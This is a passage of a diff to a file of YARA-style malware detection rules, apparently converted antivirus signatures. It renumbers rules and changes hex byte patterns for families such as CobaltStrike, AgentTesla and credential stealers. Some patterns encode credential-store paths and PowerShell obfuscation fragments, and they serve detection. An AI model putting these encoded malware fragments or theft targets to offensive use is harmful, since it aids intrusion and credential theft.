a2 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 43 6f 6e 64 75 69 74 2e 4b 53 34 35 00 01 00 0b 80 01 43 6f 6e 64 } //21249 + $a_20_2 = {74 64 01 00 13 80 01 73 20 63 6f 6d 6d 75 6e 69 74 79 20 74 6f 6f 6c 62 61 72 01 00 18 80 01 43 6f 6e 64 75 69 74 20 43 6f 6d 6d 75 6e 69 74 79 20 41 6c 65 72 74 73 01 00 07 80 01 43 6f 6e 64 75 69 74 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 a2 00 00 04 00 04 00 06 00 21 23 48 53 } //26997 + $a_57_3 = {6e 33 32 2f 45 6d 70 69 72 65 21 46 72 61 67 73 2e 41 00 01 00 0d 80 01 27 29 2e 49 6e 76 6f 6b 65 28 28 22 7b 01 00 10 80 01 5d 3b 2d 6a 6f 69 6e 5b 43 68 61 72 5b 5d 5d 28 } //21076 + $a_80_4 = {7d 5b 30 2e 2e 33 5d 3b 24 7b } //}[0..3];${ 1 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*21249+(#a_20_2 & 1)*26997+(#a_57_3 & 1)*21076+(#a_80_4 & 1)*1) >=4 + +} +rule _InfrastructureShared_11927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -122999,7 +131091,7 @@ rule _InfrastructureShared_11203{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*-32744+(#a_74_2 & 1)*30052+(#a_2e_3 & 1)*9985+(#a_7b_4 & 1)*15197+(#a_04_5 & 1)*-28672) >=4 } -rule _InfrastructureShared_11204{ +rule _InfrastructureShared_11928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -123014,7 +131106,7 @@ rule _InfrastructureShared_11204{ ((#a_54_0 & 1)*18467+(#a_55_1 & 1)*24918+(#a_57_2 & 1)*21076+(#a_43_3 & 1)*-32752+(#a_43_4 & 1)*29793+(#a_3a_5 & 1)*28755) >=4 } -rule _InfrastructureShared_11205{ +rule _InfrastructureShared_11929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -123028,7 +131120,7 @@ rule _InfrastructureShared_11205{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*384+(#a_54_2 & 1)*18467+(#a_7d_4 & 1)*-14520+(#a_8b_5 & 1)*6225) >=4 } -rule _InfrastructureShared_11206{ +rule _InfrastructureShared_11930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -123040,7 +131132,7 @@ rule _InfrastructureShared_11206{ ((#a_54_0 & 1)*18467+(#a_7d_2 & 1)*-14520+(#a_8b_3 & 1)*6225) >=5 } -rule _InfrastructureShared_11207{ +rule _InfrastructureShared_11931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -123054,7 +131146,7 @@ rule _InfrastructureShared_11207{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116+(#a_65_2 & 1)*26996+(#a_6f_3 & 1)*25974+(#a_72_4 & 1)*26957) >=5 } -rule _InfrastructureShared_11208{ +rule _InfrastructureShared_11932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -123068,7 +131160,7 @@ rule _InfrastructureShared_11208{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*-18183+(#a_6a_2 & 1)*828+(#a_74_3 & 1)*25959+(#a_01_4 & 1)*3840) >=5 } -rule _InfrastructureShared_11209{ +rule _InfrastructureShared_11933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -123081,7 +131173,7 @@ rule _InfrastructureShared_11209{ ((#a_6c_0 & 1)*16675+(#a_4b_1 & 1)*-32750+(#a_44_2 & 1)*20311+(#a_00_4 & 1)*72) >=5 } -rule _InfrastructureShared_11210{ +rule _InfrastructureShared_11934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -123093,7 +131185,7 @@ rule _InfrastructureShared_11210{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*26227+(#a_61_3 & 1)*21505) >=5 } -rule _InfrastructureShared_11211{ +rule _InfrastructureShared_11935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -123107,7 +131199,7 @@ rule _InfrastructureShared_11211{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*18533+(#a_33_2 & 1)*12634+(#a_73_3 & 1)*25958+(#a_4d_4 & 1)*13106) >=5 } -rule _InfrastructureShared_11212{ +rule _InfrastructureShared_11936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -123121,7 +131213,7 @@ rule _InfrastructureShared_11212{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25965+(#a_76_2 & 1)*385+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 } -rule _InfrastructureShared_11213{ +rule _InfrastructureShared_11937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -123135,7 +131227,7 @@ rule _InfrastructureShared_11213{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29295+(#a_79_2 & 1)*385+(#a_65_3 & 1)*29541+(#a_00_4 & 1)*5) >=5 } -rule _InfrastructureShared_11214{ +rule _InfrastructureShared_11938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -123149,7 +131241,7 @@ rule _InfrastructureShared_11214{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*29185+(#a_33_2 & 1)*12619+(#a_65_3 & 1)*28525+(#a_4b_4 & 1)*29285) >=5 } -rule _InfrastructureShared_11215{ +rule _InfrastructureShared_11939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -123162,7 +131254,7 @@ rule _InfrastructureShared_11215{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29185+(#a_61_3 & 1)*385+(#a_00_4 & 1)*29301) >=5 } -rule _InfrastructureShared_11216{ +rule _InfrastructureShared_11940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -123175,7 +131267,7 @@ rule _InfrastructureShared_11216{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*28011+(#a_70_2 & 1)*11868+(#a_2d_3 & 1)*29477) >=5 } -rule _InfrastructureShared_11217{ +rule _InfrastructureShared_11941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -123188,7 +131280,7 @@ rule _InfrastructureShared_11217{ ((#a_4e_0 & 1)*20259+(#a_01_2 & 1)*8704+(#a_03_3 & 1)*29797+(#a_67_4 & 1)*29808) >=5 } -rule _InfrastructureShared_11218{ +rule _InfrastructureShared_11942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -123196,27 +131288,39 @@ rule _InfrastructureShared_11218{ $a_46_0 = {57 69 6e 36 34 2f 4d 6f 64 65 6c 74 61 72 61 6e 73 2e 41 00 01 00 1f 01 63 72 79 70 74 6f 67 72 61 70 68 79 2e 66 65 72 6e 65 74 29 03 72 02 00 00 00 69 bf 91 02 00 01 00 14 01 65 6d 61 69 6c 2e 5f 65 6e 63 6f 64 65 64 5f 77 6f } //21283 $a_01_1 = {00 29 01 63 72 79 70 74 6f 67 72 61 70 68 79 2e 68 61 7a 6d 61 74 2e 62 61 63 6b 65 6e 64 73 2e 6f 70 65 6e 73 73 6c 2e 61 65 61 64 01 00 09 01 69 70 61 64 64 72 65 73 73 01 00 07 01 6c 6f 67 67 69 6e 67 00 00 78 a2 00 00 05 00 05 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 6f 6b 75 6d 2e 42 21 64 68 61 00 01 00 11 01 } //25714 $a_61_2 = {65 74 65 72 73 20 65 72 72 6f 72 0a 01 00 0f 01 4c 6f 61 64 41 70 69 20 66 61 69 6c 65 64 0a 01 00 08 01 2f 69 6e 73 74 61 6c 6c 01 00 0a 01 2f 75 6e 69 6e 73 74 61 6c 6c 01 00 10 01 75 6e 69 6e 73 74 61 6c 6c 20 66 61 69 6c 65 64 03 00 21 03 52 65 6d 6f c7 45 ?? 76 61 62 6c c7 45 ?? 65 20 53 74 c7 45 ?? 6f 72 61 67 } //24944 - $a_a2_3 = {00 06 00 06 00 04 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 43 4c 43 45 78 70 6c 6f 72 65 72 4c 69 62 00 02 00 36 80 01 43 4c 43 20 45 78 70 6c 6f 72 65 72 4c 69 62 5c 6f 62 6a 5c 78 38 36 5c 52 65 6c 65 61 73 65 5f 78 38 36 5c 43 4c 43 45 78 70 6c 6f 72 65 72 4c 69 62 2e 70 64 62 02 00 12 80 01 43 4c 43 45 78 70 6c 6f 72 65 72 4c 69 62 2e 65 78 65 01 00 0c 80 } //0 - $a_70_4 = {68 63 75 74 2e 65 78 65 01 00 17 80 01 73 75 63 68 65 6e 54 6f 6f 6c 53 74 72 69 70 4d 65 6e 75 49 74 65 6d 00 00 78 a2 00 00 06 00 06 00 07 00 21 23 42 4d 5f 41 54 5f 63 72 79 3a 4d 65 73 73 65 6e 50 61 73 73 00 03 00 0b 01 5c 6d 73 70 61 73 73 2e 70 64 62 02 00 0a 01 4d 65 73 73 65 6e 50 } //29441 + $a_a2_3 = {00 06 00 06 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 51 4c 4d 21 4d 54 42 00 02 00 21 03 c3 49 89 c8 31 c9 41 0f be 04 08 d3 e0 48 ff c1 08 02 48 83 f9 90 01 01 75 90 01 01 31 c0 c3 90 00 02 00 1e 03 c3 31 c0 41 39 c0 7e 90 01 01 44 8a 0c 02 44 30 0c 01 48 ff c0 eb 90 01 01 31 c0 c3 90 00 02 00 } //0 + $a_89_4 = {4b 8d 14 0a 4b 8d 0c cb 49 ff c1 e8 90 01 02 ff ff 49 83 f9 90 01 01 75 90 01 01 31 c0 48 83 c4 28 c3 90 00 00 00 78 a2 00 00 06 00 06 00 04 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 43 4c 43 45 78 70 6c 6f 72 65 72 4c } //807 condition: - ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*25714+(#a_61_2 & 1)*24944+(#a_a2_3 & 1)*0+(#a_70_4 & 1)*29441) >=5 + ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*25714+(#a_61_2 & 1)*24944+(#a_a2_3 & 1)*0+(#a_89_4 & 1)*807) >=5 } -rule _InfrastructureShared_11219{ +rule _InfrastructureShared_11943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 6f 6b 75 6d 2e 42 21 64 68 61 00 01 00 11 01 70 61 72 61 6d 65 74 65 72 73 20 65 72 72 6f 72 0a 01 00 0f 01 4c 6f 61 64 41 70 69 20 66 61 69 6c 65 64 0a 01 00 08 01 2f 69 6e 73 74 61 6c } //21283 - $a_6e_2 = {6e 73 74 61 6c 6c 01 00 10 01 75 6e 69 6e 73 74 61 6c 6c 20 66 61 69 6c 65 64 03 00 21 03 52 65 6d 6f c7 45 90 01 01 76 61 62 6c c7 45 90 01 01 65 20 53 74 c7 45 90 01 01 6f 72 61 67 90 00 00 00 78 a2 00 00 06 00 06 00 04 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 43 4c 43 45 78 70 6c 6f 72 65 72 4c 69 62 00 02 00 36 80 01 43 4c 43 20 45 78 70 6c 6f 72 } //12033 - $a_69_3 = {5c 6f 62 6a 5c 78 38 36 5c 52 65 6c 65 61 73 65 5f 78 38 36 5c 43 4c 43 45 78 70 6c 6f 72 65 72 4c 69 62 2e 70 64 62 02 00 12 80 01 43 4c 43 45 78 70 6c 6f 72 65 72 4c 69 62 2e 65 78 65 01 00 0c 80 01 73 61 70 73 68 63 75 74 2e } //29285 - $a_01_4 = {00 17 80 01 73 75 63 68 65 6e 54 6f 6f 6c 53 74 72 69 70 4d 65 6e 75 49 74 65 6d 00 00 78 a2 00 00 06 00 06 00 07 00 21 23 42 4d 5f 41 54 5f 63 72 79 3a 4d 65 73 73 65 6e 50 61 73 73 00 03 00 0b 01 5c 6d 73 70 61 73 73 2e 70 64 62 02 00 0a 01 4d 65 73 73 65 6e 50 61 73 73 01 00 07 81 01 4e 69 72 53 6f } //30821 - $a_00_5 = {0f } //29798 + $a_6e_2 = {6e 73 74 61 6c 6c 01 00 10 01 75 6e 69 6e 73 74 61 6c 6c 20 66 61 69 6c 65 64 03 00 21 03 52 65 6d 6f c7 45 90 01 01 76 61 62 6c c7 45 90 01 01 65 20 53 74 c7 45 90 01 01 6f 72 61 67 90 00 00 00 78 a2 00 00 06 00 06 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 51 4c 4d 21 4d 54 42 00 02 00 } //12033 + $a_49_3 = {c8 31 c9 41 0f be 04 08 d3 e0 48 ff c1 08 02 48 83 f9 90 01 01 75 90 01 01 31 c0 c3 90 00 02 00 1e 03 c3 31 c0 41 39 c0 7e 90 01 01 44 8a 0c 02 44 30 0c 01 48 ff c0 eb 90 01 01 31 c0 c3 90 00 02 00 27 03 48 89 02 4b 8d 14 0a 4b 8d 0c cb 49 ff c1 e8 90 01 02 ff ff 49 83 f9 90 01 01 75 90 01 01 31 c0 48 83 c4 28 c3 90 00 00 00 78 a2 00 00 06 00 06 00 04 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 43 4c 43 45 78 70 6c 6f 72 65 72 4c 69 62 00 02 00 36 80 01 43 4c 43 20 45 78 70 6c 6f 72 65 72 4c 69 62 5c 6f 62 6a 5c 78 38 36 5c 52 65 6c 65 61 73 65 5f 78 38 36 5c 43 4c 43 45 78 70 6c 6f } //801 + $a_4c_4 = {62 2e 70 64 62 02 00 12 80 01 43 4c 43 45 78 70 6c 6f 72 65 72 4c 69 62 2e 65 78 65 01 00 0c 80 01 73 61 70 73 68 63 75 74 2e 65 78 65 01 00 17 80 01 73 75 63 68 65 6e 54 6f 6f 6c 53 74 72 69 70 4d 65 6e 75 49 74 65 6d 00 00 78 a2 00 00 06 00 06 00 07 00 21 23 42 4d 5f 41 54 5f 63 72 79 3a 4d 65 73 73 65 6e 50 61 73 73 00 03 00 0b 01 5c 6d } //25970 + $a_73_5 = {2e 70 64 62 02 00 0a 01 4d 65 73 73 65 6e 50 61 73 73 01 00 07 81 01 4e 69 72 53 6f 66 74 01 00 0f 81 01 5c 41 49 4d 36 5c 50 61 73 73 77 6f 72 64 73 01 00 15 01 50 61 73 73 77 6f 72 64 4d 69 63 72 6f 73 6f 66 74 20 52 54 43 01 00 14 01 4d 79 53 70 61 63 65 5c 49 4d 5c 75 73 65 72 73 2e 74 } //28787 condition: - ((#a_46_0 & 1)*21283+(#a_6e_2 & 1)*12033+(#a_69_3 & 1)*29285+(#a_01_4 & 1)*30821+(#a_00_5 & 1)*29798) >=5 + ((#a_46_0 & 1)*21283+(#a_6e_2 & 1)*12033+(#a_49_3 & 1)*801+(#a_4c_4 & 1)*25970+(#a_73_5 & 1)*28787) >=5 } -rule _InfrastructureShared_11220{ +rule _InfrastructureShared_11944{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 51 4c 4d 21 4d 54 42 00 02 00 21 03 c3 49 89 c8 31 c9 41 0f be 04 08 d3 e0 48 ff c1 08 02 48 83 f9 90 01 01 75 90 01 01 31 c0 c3 } //21539 + $a_00_1 = {1e 03 } //144 ̞ + $a_41_2 = {c0 7e 90 01 01 44 8a 0c 02 44 30 0c 01 48 ff c0 eb 90 01 01 31 c0 c3 90 00 02 00 27 03 48 89 02 4b 8d 14 0a 4b 8d 0c cb 49 ff c1 e8 90 01 02 ff ff 49 83 f9 90 01 01 75 90 01 01 31 c0 48 83 c4 28 c3 90 00 00 00 78 a2 00 00 06 00 06 00 04 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 43 4c 43 45 78 70 6c 6f 72 65 72 4c 69 62 00 02 00 36 80 01 43 4c 43 20 45 78 70 6c 6f 72 65 72 4c 69 62 5c 6f 62 6a 5c 78 38 36 5c 52 65 6c 65 61 73 65 5f 78 38 36 5c 43 4c 43 45 78 70 6c 6f 72 65 72 4c 69 62 2e 70 64 62 02 00 12 80 01 43 4c 43 45 78 70 6c 6f 72 65 72 4c 69 62 2e 65 78 65 01 00 0c } //12739 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*144+(#a_41_2 & 1)*12739) >=6 + +} +rule _InfrastructureShared_11945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -123229,7 +131333,7 @@ rule _InfrastructureShared_11220{ ((#a_6c_0 & 1)*16675+(#a_73_1 & 1)*24947+(#a_01_2 & 1)*3840+(#a_49_3 & 1)*25959) >=6 } -rule _InfrastructureShared_11221{ +rule _InfrastructureShared_11946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -123243,7 +131347,7 @@ rule _InfrastructureShared_11221{ ((#a_5f_0 & 1)*16931+(#a_73_2 & 1)*24912+(#a_69_3 & 1)*29984+(#a_50_5 & 1)*19521+(#a_80_6 & 1)*2) >=6 } -rule _InfrastructureShared_11222{ +rule _InfrastructureShared_11947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " @@ -123254,7 +131358,7 @@ rule _InfrastructureShared_11222{ ((#a_77_0 & 1)*19491+(#a_6e_1 & 1)*29300) >=7 } -rule _InfrastructureShared_11223{ +rule _InfrastructureShared_11948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 21 " @@ -123268,7 +131372,7 @@ rule _InfrastructureShared_11223{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*27718+(#a_6f_2 & 1)*384+(#a_6e_3 & 1)*29545+(#a_00_4 & 1)*22388) >=7 } -rule _InfrastructureShared_11224{ +rule _InfrastructureShared_11949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -123283,7 +131387,7 @@ rule _InfrastructureShared_11224{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*25709+(#a_52_2 & 1)*12851+(#a_52_3 & 1)*21604+(#a_65_4 & 1)*16687+(#a_41_6 & 1)*384) >=7 } -rule _InfrastructureShared_11225{ +rule _InfrastructureShared_11950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -123299,7 +131403,7 @@ rule _InfrastructureShared_11225{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*20993+(#a_65_2 & 1)*29806+(#a_43_3 & 1)*21249+(#a_2f_4 & 1)*18771+(#a_3f_5 & 1)*17990+(#a_23_6 & 1)*7) >=7 } -rule _InfrastructureShared_11226{ +rule _InfrastructureShared_11951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -123315,7 +131419,7 @@ rule _InfrastructureShared_11226{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*29541+(#a_47_2 & 1)*19019+(#a_6c_3 & 1)*21249+(#a_43_4 & 1)*25968+(#a_61_5 & 1)*21295+(#a_73_6 & 1)*28265) >=7 } -rule _InfrastructureShared_11227{ +rule _InfrastructureShared_11952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -123329,7 +131433,7 @@ rule _InfrastructureShared_11227{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*16191+(#a_50_4 & 1)*8448+(#a_6d_5 & 1)*25390+(#a_00_6 & 1)*30720) >=7 } -rule _InfrastructureShared_11228{ +rule _InfrastructureShared_11953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -123343,7 +131447,7 @@ rule _InfrastructureShared_11228{ ((#a_41_0 & 1)*20515+(#a_01_1 & 1)*2560+(#a_70_2 & 1)*17236+(#a_6e_3 & 1)*25459+(#a_61_4 & 1)*31337) >=7 } -rule _InfrastructureShared_11229{ +rule _InfrastructureShared_11954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -123356,7 +131460,7 @@ rule _InfrastructureShared_11229{ ((#a_63_0 & 1)*18467+(#a_25_1 & 1)*28265+(#a_63_2 & 1)*11875+(#a_55_3 & 1)*28784) >=8 } -rule _InfrastructureShared_11230{ +rule _InfrastructureShared_11955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " @@ -123371,7 +131475,7 @@ rule _InfrastructureShared_11230{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*31354+(#a_61_2 & 1)*29541+(#a_01_3 & 1)*29554+(#a_33_4 & 1)*12853+(#a_71_5 & 1)*29287) >=8 } -rule _InfrastructureShared_11231{ +rule _InfrastructureShared_11956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -123388,7 +131492,7 @@ rule _InfrastructureShared_11231{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*12849+(#a_6f_2 & 1)*385+(#a_00_3 & 1)*53+(#a_32_4 & 1)*385+(#a_23_5 & 1)*4+(#a_8b_6 & 1)*787+(#a_00_7 & 1)*32129) >=8 } -rule _InfrastructureShared_11232{ +rule _InfrastructureShared_11957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -123405,7 +131509,7 @@ rule _InfrastructureShared_11232{ ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*385+(#a_32_2 & 1)*28265+(#a_06_3 & 1)*-28539+(#a_00_4 & 1)*-15779+(#a_90_5 & 1)*-31743+(#a_73_6 & 1)*5376+(#a_2e_7 & 1)*29797) >=8 } -rule _InfrastructureShared_11233{ +rule _InfrastructureShared_11958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -123418,7 +131522,7 @@ rule _InfrastructureShared_11233{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*912+(#a_02_2 & 1)*-28539+(#a_39_3 & 1)*257) >=11 } -rule _InfrastructureShared_11234{ +rule _InfrastructureShared_11959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 05 00 21 " @@ -123432,7 +131536,7 @@ rule _InfrastructureShared_11234{ ((#a_5f_0 & 1)*25635+(#a_6e_1 & 1)*8250+(#a_11_2 & 1)*4383+(#a_53_3 & 1)*8993+(#a_90_4 & 1)*1025) >=11 } -rule _InfrastructureShared_11235{ +rule _InfrastructureShared_11960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -123442,7 +131546,7 @@ rule _InfrastructureShared_11235{ ((#a_46_0 & 1)*16675) >=12 } -rule _InfrastructureShared_11236{ +rule _InfrastructureShared_11961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -123454,7 +131558,7 @@ rule _InfrastructureShared_11236{ ((#a_54_0 & 1)*18467+(#a_0c_1 & 1)*5896+(#a_75_2 & 1)*21357) >=13 } -rule _InfrastructureShared_11237{ +rule _InfrastructureShared_11962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -123467,7 +131571,7 @@ rule _InfrastructureShared_11237{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*21249+(#a_2a_2 & 1)*-2886+(#a_67_3 & 1)*26994) >=13 } -rule _InfrastructureShared_11238{ +rule _InfrastructureShared_11963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -123481,7 +131585,7 @@ rule _InfrastructureShared_11238{ ((#a_54_0 & 1)*18467+(#a_59_1 & 1)*22873+(#a_67_2 & 1)*12108+(#a_07_4 & 1)*22551+(#a_64_5 & 1)*28524) >=15 } -rule _InfrastructureShared_11239{ +rule _InfrastructureShared_11964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -123494,7 +131598,7 @@ rule _InfrastructureShared_11239{ ((#a_54_0 & 1)*18467+(#a_17_1 & 1)*4352+(#a_90_2 & 1)*12905+(#a_0a_3 & 1)*25968) >=16 } -rule _InfrastructureShared_11240{ +rule _InfrastructureShared_11965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 0b 00 21 " @@ -123503,31 +131607,50 @@ rule _InfrastructureShared_11240{ $a_00_3 = {01 00 05 00 00 4d 38 36 00 01 00 05 81 01 00 63 79 7a 00 01 00 05 81 01 00 78 73 61 00 01 00 08 81 01 47 65 74 54 79 70 65 73 0a 00 07 00 20 00 7a 00 00 fe 04 } //14413 $a_a2_4 = {00 18 00 18 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 34 36 39 21 4d 54 42 00 01 00 08 00 47 65 74 50 69 78 65 6c 01 00 07 80 01 54 6f 57 69 6e 33 32 01 00 0c 00 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 0a 00 0c 02 20 00 4c 00 00 8d ?? ?? ?? ?? 0c } //0 $a_00_5 = {24 64 32 38 35 37 36 33 65 2d 64 66 37 61 2d 34 39 34 37 2d 38 37 33 64 2d 36 66 64 38 65 34 64 63 61 37 66 30 } //10 $d285763e-df7a-4947-873d-6fd8e4dca7f0 - $a_a2_6 = {00 1f 00 1f 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 44 65 6c 66 2e 43 4b 00 0a 00 09 00 5b 61 75 74 6f 72 75 6e 5d 0a 00 0b 00 61 75 74 6f 72 75 6e 2e 69 6e 66 0a 00 1b 00 53 4f 46 54 57 41 52 45 5c 42 6f 72 6c 61 6e 64 5c 44 65 6c 70 68 69 5c 52 54 4c 01 00 0b 00 57 69 6e 33 32 2e 41 6e 67 65 6e 01 00 16 02 } //0 - $a_6c_7 = {65 78 65 63 75 74 65 3d 90 02 08 2e 65 78 65 90 00 01 00 0f 00 5c 73 76 63 68 6f 73 74 2e 65 78 65 20 2f 69 00 00 78 a2 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 6e 6f 74 43 72 79 70 74 2e 41 21 64 68 61 00 64 00 1f 01 55 73 65 3a 20 3c 50 61 72 } //26739 - $a_3a_8 = {6e 3e 20 5b 3c 50 61 72 61 6d 32 3a 6f 75 74 3e 5d 64 00 2d 01 50 61 72 61 6d 31 3a 20 46 6f 6c 64 65 72 20 6f 72 20 46 69 6c 65 20 50 61 74 68 20 } //28001 - $a_4b_9 = {79 53 63 72 65 65 6e 20 44 61 74 61 64 00 1a 01 50 61 72 61 6d 32 3a 20 4f 75 74 70 75 74 20 46 } //26223 - $a_65_10 = {20 50 61 74 68 00 00 78 a2 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 69 73 74 4d 69 6e 65 2e 42 21 64 68 61 00 64 00 30 01 48 74 74 70 20 50 4f 53 54 20 43 6f 6e 6e 65 63 74 20 66 72 6f 6d 20 25 73 20 46 61 69 6c 65 64 20 6e 6f 20 66 69 6c 65 } //27759 + $a_a2_6 = {00 19 00 19 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 65 72 2e 4c 4d 45 21 4d 54 42 00 0f 00 34 03 89 45 e0 8b 45 f0 33 05 90 01 04 89 45 f0 c7 45 e8 2e 44 58 7c 8b 4d fc 81 c1 23 8c 15 95 51 8b 45 fc 05 39 8c 15 95 50 c6 45 f8 b7 81 c9 24 da b1 